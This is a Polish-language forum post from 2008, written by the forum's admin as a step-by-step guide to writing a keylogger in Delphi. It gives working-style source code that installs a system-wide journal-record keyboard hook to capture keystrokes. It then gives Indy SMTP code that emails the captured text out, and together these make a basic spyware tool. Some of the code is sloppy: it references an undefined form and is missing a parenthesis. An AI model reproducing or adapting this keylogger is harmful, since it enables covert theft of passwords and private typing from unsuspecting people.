Ogłoszenie


Zapraszam serdecznie na strone DARMOWYCH FILMÓW I SERIALI. Każdy znajdzie coś dla siebie. Mam w bazie artykuły dot. webmasteringu, hackeringu i wiele wiele innych. Dodatkowo forum :) Nie czekaj zarejestruj się już dziś : www.Ogladamy.xorg.pl

#1 2008-09-05 16:51:55

RedEagle

Admin

status RedEagle
891470
Zarejestrowany: 2008-09-04
Posty: 1047
Komputer: Windows XP
Gra: GTA VC
Książka: Jim C.Hines-,,Zadanie Goblina"
Muzyka: Green Day

Keylogger w DELPHI - krok po kroku,

Keylogger w DELPHI - krok po kroku, Dokładny opis tego jak napisać własnego keyloggera

Wielu z Was zadawało mi pytanie, JAK NAPISAĆ PROSTEGO KEYLOGGERA i jakiego języka do tego używać. Myślę, że ta lektura rozjaśni co niektórym pewne wątpliwości i raz na zawsze pytania typu: JAK ZROBIĆ KEYLOGGERA ?? się skończą ... (to tak na marginesie). Artykuł ten szczegółowo opisuje jak łatwo można w Delphi stworzyć własnego prostego keyloggera.

Chciałbym na samym początku wyjaśnić, że nie jest to kod źródłowy GhostXP, Keylogger GhostXP zbudowany jest na zupełnie innej platformie przechwytującej, przy zastosowaniu zupełnie innych komponentów. Program GhostXP pozbawiony jest wielu wad, działa zupełnie w ukryciu, a do tego stosuje specjalne mechanizmy, które tym artykule nie są przedstawione. W tym artykule zastosowano bardzo prostą i ubogą funkcję przechwytującą strumień danych pochodzących z klawiatury.

Budowa Keyloggera oraz funkcjnalność jest uzależniona tylko i wyłącznie od samego autora.

Jedni piszą, że lepszy jest Delphi niektórzy, że C++. Chodzi o to Moi Drodzy, że to nie ma znaczenia. Faktem jest, że C++ jest szybszy, natomiast składnia języka jest troszkę mniej przyswajalna. Delphi jest prostsze jeśli chodzi o składnię ale za to programy (duże programy) działają wolniej po kompilacji niż te, które napisane są w C++.

Keylogger jest programem zdecydowanie małym i nie ma znaczenia tak naprawdę, czy będzie napisany w szybszym C++ czy w wolniejszym Object Pascal (Delphi).

Ze względu na łatwość przyswajania zdecydowałem się pokazać kod prostego KEYLOGGERA w języku Object Pascal.

Prościej się nie da  Oto najprostszy sposób przechwytywania klawiatury przez program napisany w Delphi.

A oto prosta funkcja. Jest dosyć prymitywna i niedoskonała, pokazuje bowiem tylko WIELKIE LITERY, ale dla początkujących myślę, że będzie dobrą lekcją.

Od czego zacząć ??

oczywiście Uruchamiamy Delphi 7 Personal lub najbogatszego ENTERPRISE.



Czynności jakie musimy wykonać :

1. Forma powinna zawierać komponent TMemo (otwieramy nowy projekt, po czym wstawiamy na formę komponent TMemo).

2. W projekcie Pod sekcją "private" w sekcji "var" wprowadzamy nowe zmienne:

[b]Var

Hook : Integer;

MessageBuffer :TEventMsg;

3. Klikamy 1 raz na formę i przechodzimy do okna Object Inspektor. W zakładce Ewents (zdarzenia) szukamy sekcji "OnDestroy" i klikamy 2x celem wprowadzenia kodu w procedurze, która bedzie wygladać mniej więcej tak:

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook); // wprowadzamy
end;




Następnie tworzymy funkcję ręcznie gdzieś w kodzie, najlepiej pod procedurą TForm1.FormDestroy(Sender: TObject);



// prosta Funkcja przechwytująca strumień danych TYLKO WIELKIE LITERY
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin

Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuffer.paraml);
Result:=0;
end;
end;
else
begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;



Następnie również w Object Inspector i również w zakładce Events klikamy 2x na "OnCreate" i zbowu stworzy się na procedura o nazwie TForm1.FormCreate(Sender: TObject); . Dostosujmy ją by wygladała mniej więcej tak:

procedure TForm1.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

BINGO !!! F9 (run)


JAK WYSŁAĆ E-MAIL za pomocą Delphi ??

Jest to banalnie proste jesli posiadamy komponenty Indy9 lub 10...(ENTERPRISE) jak nie masz to znajć w google.

Przeanalizuj sobie poniższy kod.

Wstawiamy na formę następujące komponenty : idMessage, idSMTP i tworzymy procedurę :

Procedure CostamCostam(Sender : TObject);


Begin
MessageSend.Body.Append('tresc maila'; // wprowadzasz treść jako TMemo.Text

MessageSend.From.Name := 'imie od kogo'; //od kogo
MessageSend.From.Address := 'adres od kogo'; //podajesz adres e-mail nadawcy
MessageSend.Recipients.EMailAddresses := 'Odbiorca'; //adres e-mail odbiorcy
MessageSend.Subject := 'temat'; //temat listu

{ UserName bądź UserId - to jest zeleżne od wersji Indy.}

SMTP.UserName := 'nazwa użytkownika serwera SMTP';
SMTP.Password := 'hasło';
SMTP.Host := 'adres serwera SMTP';
SMTP.AuthenticationType:=atLogin; // autoryzacja SMTP
SMTP.Connect;
try
SMTP.Send(MessageSend); //wyślij
finally
SMTP.Disconnect; //jeśli zakończy to rozłącz z serwerem
end;
end;

BINGO

Wyjaśniam :

MessageSend to komponent : idMessage z zakładki IndyMisc
SMTP to idSMTP z zakladki IndyClients

Dobrze jest wstawić komponent idAntiFreeze aby program nie zatrzymywał się w momencie wysyłania poczty.

I tym własnie sposobem mamy najprostszego keyloggera.

POZDRAWIAM WSZYSTKICH.


Pytania i komentarze proszę umieszczać na forum.


http://i37.tinypic.com/sbm42f.png
http://i38.tinypic.com/29x82na.png

Offline

 

Stopka forum

RSS
Powered by PunBB
© Copyright 2002–2008 PunBB
Polityka cookies - Wersja Lo-Fi


Darmowe Forum | Ciekawe Fora | Darmowe Fora